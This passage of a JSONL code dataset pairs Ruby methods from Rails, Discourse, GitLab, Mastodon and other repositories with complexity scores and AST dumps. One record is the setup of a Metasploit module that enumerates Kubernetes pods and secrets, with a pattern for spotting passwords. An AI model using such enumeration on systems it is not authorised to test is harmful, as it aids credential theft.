n\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"==\",{\"type\":\"str\",\"children\":[\"Retry\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"impersonate_sql_user\",{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"retry\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]}]}]}]},null]}]}","id":"61d3ceec-9c30-4e7e-8a6a-e2d33c1550cd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/or_test.rb","start_line":29,"raw_source":"def test_or_with_null_right\n      expected = Post.where(\"id = 1\").to_a\n      assert_equal expected, Post.where(\"id = 1\").or(Post.none).to_a\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_or_with_null_right\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"id = 1\"]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"id = 1\"]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"none\"]}]},\"to_a\"]}]}]}]}","id":"e72ab4a4-dde5-4d96-85bb-3c19d9964f92"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/email_token.rb","start_line":45,"raw_source":"def self.scopes\n    @scopes ||= Enum.new(signup: 1, password_reset: 2, email_login: 3, email_update: 4)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scopes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enum\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signup\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password_reset\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email_login\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email_update\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}","id":"1a477832-3afc-4ed8-ad37-fc28298e2f26"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_site_texts.rb","start_line":51,"raw_source":"def override_translation(value)\n        find(\".site-text-value\").fill_in(with: value)\n        find(\".save-changes\").click\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"override_translation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".site-text-value\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".save-changes\"]}]},\"click\"]}]}]}","id":"a010850a-9991-4f54-ad78-c306c65ecfe6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/single_numeric_list_partition.rb","start_line":69,"raw_source":"def <=>(other)\n          return if table != other.table\n\n          value <=> other.value\n        end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"table\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"value\"]}]}]}]}","id":"9d5c5669-8f0e-4b56-a2ff-bb102bba727c"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/gift_card.rb","start_line":166,"raw_source":"def set_currency\n      self.currency ||= store&.default_currency\n    end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"set_currency\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"currency\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"default_currency\"]}]}]}","id":"c7fd004c-08df-41c9-a83d-021be366c2d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/harbor/client.rb","start_line":85,"raw_source":"def headers\n        auth = Base64.strict_encode64(\"#{integration.username}:#{integration.password}\")\n        {\n          'Content-Type': 'application/json',\n          Authorization: \"Basic #{auth}\"\n        }\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"username\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"password\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Basic \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]}]}]}]}]}]}]}","id":"1d01d9d6-3ebd-4fc1-a6ea-69f1edaf439b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/google_groups.rb","start_line":188,"raw_source":"def add_cookies(*domains)\n  File\n    .readlines(@cookies)\n    .each do |line|\n      parts = line.chomp.split(\"\\t\")\n      if parts.size != 7 || !domains.any? { |domain| parts[0] =~ /^\\.?#{Regexp.escape(domain)}$/ }\n        next\n      end\n\n      driver.manage.add_cookie(\n        domain: parts[0],\n        httpOnly: \"true\".casecmp?(parts[1]),\n        path: parts[2],\n        secure: \"true\".casecmp?(parts[3]),\n        expires: parts[4] == \"0\" ? nil : DateTime.strptime(parts[4], \"%s\"),\n        name: parts[5],\n        value: parts[6],\n      )\n    end\nend","complexity_score":46.5,"ast_json":"{\"type\":\"def\",\"children\":[\"add_cookies\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"domains\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readlines\",{\"type\":\"ivar\",\"children\":[\"@cookies\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"chomp\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\t\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"size\"]},\"!=\",{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domains\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\.?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]},{\"type\":\"str\",\"children\":[\"$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"manage\"]},\"add_cookie\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"httpOnly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"true\"]},\"casecmp?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"true\"]},\"casecmp?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"==\",{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"strptime\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"str\",\"children\":[\"%s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]}]}]}]}]}]}]}","id":"c9841200-a6d2-4fec-8426-5948258c1eb9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/mastodon/cli/accounts_spec.rb","start_line":51,"raw_source":"def account_from_options\n        Account.find_local(username)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"account_from_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"find_local\",{\"type\":\"send\",\"children\":[null,\"username\"]}]}]}","id":"b3386f48-3386-4b5c-82a4-f36a34923785"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/global_roles/mock_global_permissions.rb","start_line":61,"raw_source":"def register\n    @permissions.each do |name, _options|\n      unless translation_already_registered?(name)\n        I18n.backend.store_translations(:en, \"permission_#{name}\": name.humanize)\n      end\n    end\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@permissions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"_options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"translation_already_registered?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"store_translations\",{\"type\":\"sym\",\"children\":[\"en\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"permission_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"humanize\"]}]}]}]}]}]}]}","id":"86bd4af2-8e1c-4acc-afd3-f1dc06968390"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/cloud/kubernetes/enum_kubernetes.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Kubernetes Enumeration',\n        'Description' => %q{\n          Enumerate a Kubernetes API to report useful resources such as available namespaces,\n          pods, secrets, etc.\n\n          Useful resources will be highlighted using the HIGHLIGHT_NAME_PATTERN option.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'alanfoster',\n          'Spencer McIntyre'\n        ],\n        'Notes' => {\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [],\n          'Stability' => [CRASH_SAFE]\n        },\n        'DefaultOptions' => {\n          'SSL' => true\n        },\n        'Actions' => [\n          ['all', { 'Description' => 'enumerate all resources' }],\n          ['version', { 'Description' => 'enumerate version' }],\n          ['auth', { 'Description' => 'enumerate auth' }],\n          ['namespace', { 'Description' => 'enumerate namespace' }],\n          ['namespaces', { 'Description' => 'enumerate namespaces' }],\n          ['pod', { 'Description' => 'enumerate pod' }],\n          ['pods', { 'Description' => 'enumerate pods' }],\n          ['secret', { 'Description' => 'enumerate secret' }],\n          ['secrets', { 'Description' => 'enumerate secrets' }],\n        ],\n        'DefaultAction' => 'all',\n        'Platform' => ['linux', 'unix'],\n        'SessionTypes' => ['meterpreter']\n      )\n    )\n\n    register_options(\n      [\n        Opt::RHOSTS(nil, false),\n        Opt::RPORT(nil, false),\n        Msf::OptInt.new('SESSION', [false, 'An optional session to use for configuration']),\n        OptRegexp.new('HIGHLIGHT_NAME_PATTERN', [true, 'PCRE regex of resource names to highlight', 'username|password|user|pass']),\n        OptString.new('NAME', [false, 'The name of the resource to enumerate', nil]),\n        OptEnum.new('OUTPUT', [true, 'output format to use', 'table', ['table', 'json']])\n      ]\n    )\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Kubernetes Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Enumerate a Kubernetes API to report useful resources such as available namespaces,\\n\"]},{\"type\":\"str\",\"children\":[\"          pods, secrets, etc.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Useful resources will be highlighted using the HIGHLIGHT_NAME_PATTERN option.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"alanfoster\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"all\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"enumerate all resources\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"enumerate version\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"auth\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"enumerate auth\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"namespace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"enumerate namespace\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"namespaces\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"enumerate namespaces\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"pod\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"enumerate pod\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"pods\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"enumerate pods\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"enumerate secret\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"secrets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"enumerate secrets\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RHOSTS\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SESSION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"An optional session to use for configuration\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptRegexp\"]},\"new\",{\"type\":\"str\",\"children\":[\"HIGHLIGHT_NAME_PATTERN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"PCRE regex of resource names to highlight\"]},{\"type\":\"str\",\"children\":[\"username|password|user|pass\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the resource to enumerate\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"OUTPUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"output format to use\"]},{\"type\":\"str\",\"children\":[\"table\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"table\"]},{\"type\":\"str\",\"children\":[\"json\"]}]}]}]}]}]}]}]}","id":"6aa35bfa-9010-42c9-9b61-107e4e830108"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat_sdk/channel.rb","start_line":21,"raw_source":"def messages(channel_id:, guardian:, **params)\n      Chat::ListChannelMessages.call(\n        guardian:,\n        params: {\n          channel_id:,\n          direction: \"future\",\n          **params,\n        },\n      ) do\n        on_success { |messages:| messages }\n        on_failure { raise \"Unexpected error\" }\n        on_failed_policy(:can_view_channel) { raise \"Guardian can't view channel\" }\n        on_failed_policy(:target_message_exists) { raise \"Target message doesn't exist\" }\n      end\n    end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"messages\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"channel_id\"]},{\"type\":\"kwarg\",\"children\":[\"guardian\"]},{\"type\":\"kwrestarg\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"ListChannelMessages\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"lvar\",\"children\":[\"guardian\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_id\"]},{\"type\":\"lvar\",\"children\":[\"channel_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"direction\"]},{\"type\":\"str\",\"children\":[\"future\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"messages\"]}]},{\"type\":\"lvar\",\"children\":[\"messages\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Unexpected error\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"can_view_channel\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Guardian can't view channel\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"target_message_exists\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Target message doesn't exist\"]}]}]}]}]}]}","id":"3a9e18e7-6c1f-49f2-88b2-8b8ffd115cd2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/validators/chat/allow_uploads_validator.rb","start_line":14,"raw_source":"def error_message\n      if prevent_enabling_chat_uploads?\n        I18n.t(\"site_settings.errors.chat_upload_not_allowed_secure_uploads\")\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prevent_enabling_chat_uploads?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.chat_upload_not_allowed_secure_uploads\"]}]},null]}]}","id":"17394ae6-0665-4a63-9dfa-9a63c4bc40a5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":274,"raw_source":"def test_iso8601\n    zone = ActiveSupport::TimeZone[\"Eastern Time (US & Canada)\"]\n    twz = zone.iso8601(\"1999-12-31T19:00:00\")\n    assert_equal Time.utc(1999, 12, 31, 19), twz.time\n    assert_equal Time.utc(2000), twz.utc\n    assert_equal zone, twz.time_zone\n  end","complexity_score":14.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_iso8601\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Eastern Time (US & Canada)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"iso8601\",{\"type\":\"str\",\"children\":[\"1999-12-31T19:00:00\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[19]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"zone\"]},{\"type\":\"send\",\"